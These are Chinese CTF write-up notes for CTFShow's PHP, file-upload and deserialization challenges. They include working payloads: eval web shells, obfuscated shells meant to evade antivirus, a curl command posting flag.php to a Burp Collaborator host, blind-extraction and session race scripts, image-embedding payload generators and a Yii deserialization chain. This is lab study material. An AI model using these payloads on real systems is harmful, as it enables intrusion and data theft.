}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
多种操作方法
通过die($error)输出
payload:a=flag
POST: error=a
进行的操作为
$a=$flag;
$error=$a;
此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为
$suces=$flag;
106
构造数组或弱相等绕过
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
107
parse_str函数,将字符串解析成多个变量
$a="x=1&y=2";
parse_str($a,$b);
此时$b['x']为1,$b['y']为2
paylaod:?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b
108
正则表达式%00截断,正则表达式只会匹配%00之前的内容
strrev()//反转字符串
intval()//取整数
payload:?c=a%00778
109
eval("echo new $v1($v2());");
//构造使得v1名称的类存在后面任意构造即可
110
FilesystemIterator类的使用
$a=new FilesystemIterator(getcwd());
while($a->valid()){
echo $a->getFilename()."\n";
$a->next();
}
迭代输出当前目录下的内容
getcwd()//取得当前工作目录
111
v1要在正则中等于ctfshow,执行的语句就是
$ctfshow=&$(v2的值);
var_dump($ctfshow);
相当于执行了
var_dump($(v2的值));
令v2=GLOBALS超全局变量即可将所有变量打印
payload:?v1=ctfshow&v2=GLOBALS
112
URL二次编码,题目中把base64滤过了,对b进行二次URL编码即可,传入php时进行一次解码,调用php伪协议时再有一次
113
压缩流读取
payload:?file=compress.zlib:///var/www/html/flag.php
114
php://filter
115
在数字前加上空格,也会被is_numeric函数认为是数字
trim函数会过滤空格以及\n\r\t\v\0
,但不会过滤\f
最终payload:urlencode(“\f”.36)
123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格,+,.,[转换为_,但是当有特殊字符[时,后面的内容中就不会替换了
payload:
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
125
CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
?1=flag.php
126
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]//这里的这个参数就是GET请求中?后的内容
$argv,$argc在web模式下不适用
payload:?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
127
前面的自动转换咯
128
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars
129
目录穿越
payload:?f=/ctfshow/../../../../var/www/html/flag.php
130
正则/.+?ctfshow/is
stripos($f, ‘ctfshow’) === FALSE
stripos返回位置从0开始,未查找到才返回false,在严格相等中不相等
直接绕
f=ctfshow
131
传个超过一百万长度的字符就好啦
f='kkkk'*250000+'36Dctfshow'
#python真好用
132
robots.txt进admin
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;
对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
在判断这个的时候if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”
后面有或,所以满足username===’admin’即可
payload:/admin/?code=admin&password=&username=admin
133
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
`$F`;
$F变量内容就是我们最终执行的内容
使用一把burp自带的功能,Burp Collaborator,相较于DNSLog的好处就是可以带出POST信息,也可以携带Cookie
还有curl命令的使用
payload:?F=`$F`;+curl -X POST -F xx=@flag.php http://whhi73p89wxl0oghis6zcslnue04ot.burpcollaborator.net
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-09 15.18.07.png)
134
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
payload: ?_POST[key1]=36d&_POST[key2]=36d
135
同之前或者直接mv改名
payload:?F=`$F`;+mv flag.php flag.txt;
136
ban了一堆命令,需要回显,使用Linux tee命令
Tee是Linux命令,用于显示程序的输出并将其复制到一个文件中。
命令|tee 输出文件
payload:?c=tac /f149_15_h3r3|tee 1
查看/1文件即可
137
call_user_func()来调用一个类里面的方法时,使用::如class::function
payload:
POST
ctfshow=ctfshow::getFlag
138
调用还能传数组
payload:
POST
ctfshow[]=ctfshow&ctfshow[]=getFlag
139
自动跳转我谢谢你啊
我是真妹想到这玩意还能盲注
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://13f3a3cd-22e6-4922-a7eb-431f62263a4f.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break
140
intval把字符串转成0,0==’字符串’结果为真
找俩函数返回值为字符串就行
payload:
POST
f1=md5&f2=phpinfo
141
使用取反法
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1
142
各种进制取零就行
143
过滤了取反字符,
CTFShow文件上传
文件上传
151
前端校验,直接绕过
152
Content/Type校验,直接绕过
153
文件后缀名校验,尝试使用php5,phtml等文件失败,康康wp学习新知识,查看响应 头发现中间件是nginx
nginx中和apache的.htacess有相同作用的文件是.user.ini,进一步拓展,php中的默认配置文件实为php.ini,而php.ini有四种配置模式
PHP_INI_USER 可以在user.ini中设定
PHP_INI_PERDIR 可以在php.ini,.htacess,httpd.conf中设定
PHP_INI_SYSTEM 可以在php.ini,httpd.conf中设定
PHP_INI_ALL 随意设定
并且除了php.ini文件之外,php还会从当前目录到web根目录下逐级搜索ini文件,并且在世纪操作中除了PHP_INI_SYSTEM中的内容都可以通过.user.ini进行设定
那么user.ini中实际有用的配置项有两个:
auto_append_file //在php4.2.3及以前是PHP_INI_ALL里面的,后面变成了PHP_INI_PERDID
auto_prepend_file
这两项的功能是制定一个文件包含在要执行的文件之后/之前,类似帮助原始文件添加一个require(某文件)
所以最终我们需要的就是将木马上传后再上传.user.ini设置包含木马即可
//.user.ini
auto_prepend_file = shell.png
//shell.png
@eval($_POST['kkk']);
154
同上题,过滤了php,大小写绕过
155
严格过滤php,所以大小写过不去了,短标签绕过
当php参数:short_open_tag = On时,php可以解析短标签内容
php中常见的四种标签的写法:
<?php echo "CTF"; ?>
<? echo "CTF"; ?> //short_open_tag = On
<% echo "CTF"; %> //这种写法在php配置中默认关闭了的,所以不能输出一行3.如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。
<script language="php"> echo "CTF"; </script>
还有一种神奇写法以后会用到
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
156
过滤了[ ]
,可用{ }
代替
157
过滤了分号和花括号,用上面的神奇写法直接执行<?=(system('tac ../flag.???'))?>
158
同上
159
system貌似没了,用<?=nl ``../fl*``?>
160
反引号都没了,只能尝试包含访问日志了
//shell.png
<?include"/var/lo"."g/nginx/access.lo"."g"?>
//空格都没给留就离谱
//User-Agent
<?php eval($_POST[1]);?>
161
增加了对文件头的检测,其余同上
162
.和flag被过滤,session文件的竞争包含,隔壁文件包含有原因
//.user.ini
auto_prepend_file=/tmp/sess_kkk
//1
<?=include"/tmp/sess_kkk"?>
//POC.html
<!DOCTYPE html>
<html>
<body>
<form action="链接" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
脚本
import requests
import threading
session = requests.session()
sess = 'j1an'
url1 = "http://3318481d-34f5-4d86-baa0-5bf6af29a2e9.challenge.ctf.show/"
url2 = "http://3318481d-34f5-4d86-baa0-5bf6af29a2e9.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'j1an'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
print(r.text)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
163
同上
164
png图片二次渲染
在php中包含需要渲染的代码时
直接用大佬脚本生成一张图片咯
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'kkk.png'); //要修改的图片的路径
/*
木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
165
jpg图片二次渲染
<?php
$miniPayload = "<?php system('tac f*');?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png
166
x-zip-compressed
167
提示中为httpd,肯定与apache有关,尝试解析漏洞,上传shell.php.xxx发现执行失败,尝试上传.htaccess
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
或者
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
OK
168
构造免杀木马
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
CTFShow反序列化
反序列化
序列化的概念:把一个对象转为字符串
序列化的好处:
1、有利于数据存储
2、方便数据传递
序列化后字符串的格式
Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protect属性序列化后格式:%00*%00成员名
O:对象类名长度:”对象类名”:对象属性个数{属性名类型:属性名长度:”属性名字”;属性类型:属性长度:”属性内容”}
PHP序列化与反序列化方法:
1、__construct 当一个对象被创建时调用
2、__destruct 当一个对象被销毁时调用
3、__toString 当一个对象被当作一个字符串时使用
4、__sleep 在对象被序列化之前运行
5、__wakeup 在对象被反序列化之后调用
__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep
// 在对象被序列化之前运行
__wakeup
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法
254
payload:?username=xxxxx&password=xxxxx
按照题中全等于直接构造即可
255-257
构造就行
258
过滤了O:数字
的形式,在冒号后加+即可,URLdecode会自动解析成连接的
259
什么玩意跳过了
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
//index.php
<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
灰溜溜的回来看WP
如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。
//PHP中原生类
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
//可以得知构造SoapClient的类对象的时候,需要有两个参数,字符串$wsdl和数组$options
在构造SoapClient类时,传入数组参数为:
array('uri'=>'http://链接','location'=>'http://链接/文件','user_agent'=>'UA头')
该类的__call方法可构造请求使其对指定URL发起POST请求
所以构造该类代码如下
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
/*相当于构造出以下请求
User-Agent: ctfshow
x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:13
token=ctfshow
*/
//由于Content-Length已经确定,所以后面该类自行构造的请求头失效
$s=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo serialize($s);
?>
260
就输入那串字符就行
261
知识点:在7.4以上版本反序列化会绕过__wakeup()函数
$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字877,构造时使用877开头的文件即可,最终构造内容如下
<?php
class ctfshowvip{
public $username="877.php";
public $password="<?php eval(\$_POST['kkk']);?>";
//这里记得转译,不然会让你传入kkk参数的
public $code;
}
$s=new ctfshowvip();
echo serialize($s);
?>
//无语Windows Defence把我文件删了😅
262
简单轻松解法:
在message.php中直接构造token=admin的类
困难学习解法:
263
菜狗直接wp
首先看
//index.php
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//明显limti写错了,所以这个代码永远执行的是$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//所以我们就可以控制session中的内容
知识点:session在存储时有两种形式,一种是php,一种是php_serialize
<?php
class user{
public $name="jlan";
public $pass="123456";
}
$s=new user();
//php存储:user|O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}
//php_serialize存储:a:1:{s:4:"user";O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}}
?>
发现诡异的点了吗,在php存储中,|是用来分离变量名和序列化后的内容的,所以只要我们构造出序列化好的内容并且在前面加|就可以让程序进行自动反序列化
继续查看inc/inc.php
//inc/inc.php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
其中包含file_put_contents
函数可进行一句话木马的写入
最终构造如下
class User{
public $username="1.php";
public $password="<?php eval(\$_POST['kkk']);phpinfo();?>";
public $status='1';
}
$s=new User();
echo base64_encode('|'.serialize($s));
首先修改cookie访问主页,然后访问/check.php使得木马文件被写入,最后访问/log-1.php即可
264
265
地址传参
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);
?>
266
匹配抛出异常后__destrurt不触发,所以使用大小写绕过即可
267
yii框架的反序列化漏洞,利用的类
yii\db\BatchQueryResult
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
这里的$this->_dataReader内容可控,可以调用不存在close方法并且存在__call方法的类,全局搜索__call方法后,发现在
yii\vendor\fzaninotto\faker\src\Faker\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];//这里会返回传入的$formatter的值
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
发现format方法中的call_user_func_array的第一个参数可控,想要利用进而查找调用了call_user_func函数的无参方法。发现了IndexAction.php中的run方法
yii\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
在run方法中checkAccess和id都可控,利用链构造成功
利用链
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
CTFshow文件包含
CTFshow命令执行
命令执行
危险函数:
------------------------------------------------执行(系统)函数
eval
exec - 执行一个外部程序
shell_exec
system
passthru
proc_open
pcntl_exec — 在当前进程空间执行指定程序
pcntl_fork 在当前进程当前位置产生分支(子进程)。
dl — 运行时载入一个 PHP 扩展
unserialize - 反序列化一个类函数nashell
------------------------------------------------显示源码
phpinfo
readfile
readline
show_source
heighlight
heighlight_string
curl
php
curl -f filename=@/flag [要传到的ip地址和端口]
解释:在linux里面单引号里面的的命令会直接先执行
以上的curl -f命令会把@后面文件名对应的文件传输到指定的ip端口地址
所以会直接执行curl命令将得到的flag文件传输到指定id端口,不需要管ping 命令了只要监听此端口拿到文件即可
file
------------------------------------------------回调函数
array_walk
array_walk_recursive
array_map
call_user_func_array
call_user_func
------------------------------------------------数组使用回调函数过滤
array_filter
filter_var
filter_var_array
------------------------------------------------写入文件
fopen
fwrite
file_put_contents - 将数据写入文件中
file-get-contents - 获取参数的文件资源
move_uploaded_file - 将上传的文件移动到新位置
------------------------------------------------命令字符串转义
escapeshellcmd - 对特殊字符转义
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
------------------------------------------------其他
proc_terminate — 杀除由 proc_open 打开的进程
touch - 设定文件的访问和修改时间
可用于执行php函数的函数:
eval()、assert()、preg_replace("/test/e",$_POST["cmd"],"jutst test")
//正则规则中含有/e修饰符就存在代码执行漏洞
create_function()
可用于执行系统命令的函数:
exec()//返回命令执行结果,加echo
passthru()//执行后直接显示结果
system()//执行后直接显示结果,返回值:成功则返回命令输出的最后一行, 失败则返回 false
shell_exec()//返回命令执行结果,加echo
`命令`//返回命令执行结果,加echo
popen()
proc_open()
pcntl_exec()